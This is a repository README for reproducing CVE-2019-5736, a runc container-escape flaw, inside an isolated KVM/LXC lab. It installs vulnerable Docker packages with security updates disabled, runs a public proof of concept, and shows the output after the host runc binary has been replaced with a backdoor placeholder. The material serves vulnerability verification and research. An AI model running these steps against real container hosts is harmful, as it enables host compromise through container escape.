takumak/cve-2019-5736-reproducerReproducer for CVE-2019-5736, a RunC container escape vulnerability. Provides build scripts and a KVM-based lab to confirm the exploit against vulnerable Docker packages.
This allows you to confirm RunC-CVE-2019-5736 works on your KVM instance.
docker.io related packages vulerable to CVE-2019-5736 in this repo*.deb packages in the VM*.deb packages$ docker-compose build --no-cache
$ docker-compose run build
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736.git
$ tar cjf RunC-CVE-2019-5736.tar.bz2 RunC-CVE-2019-5736
$ lxc launch --vm images:ubuntu/18.04 test-cve-2019-5736 -c limits.cpu=4 -c limits.memory=4GB
$ lxc file push deb/*.deb RunC-CVE-2019-5736.tar.bz2 test-cve-2019-5736/root/
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# sed -i -e '/bionic-updates/s/^/#/' -e '/bionic-security/s/^/#/' /etc/apt/sources.list
root@test-cve-2019-5736:~# apt update
root@test-cve-2019-5736:~# apt install iptables libltdl7
root@test-cve-2019-5736:~# dpkg -i containerd_0.2.5-0ubuntu2_amd64.deb docker.io_17.12.1-0ubuntu6_amd64.deb runc_1.0.0~rc6+git20181203.96ec2177-0~ubuntu2_amd64.deb
Note that you should use images:ubuntu/18.04 instead of ubuntu:18.04 because the lxc exec command doesn't work properly with the latter one.
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# tar xf RunC-CVE-2019-5736.tar.bz2
root@test-cve-2019-5736:~# cd RunC-CVE-2019-5736
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker build -t cve-2019-5736:exec_POC ./exec_POC
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
92b965383f377419f3dad7cec45e468a4c4a83e82e11a2f2e0e23803016e2840
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker exec poc_ctr bash
No help topic for '/usr/bin/bash'
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# /usr/bin/docker-runc
**THE ALL NEW AND IMPROVED RUNC**
[+] Your backdoor here ->
root@test-cve-2019-5736:~/RunC-CVE-2019-5736#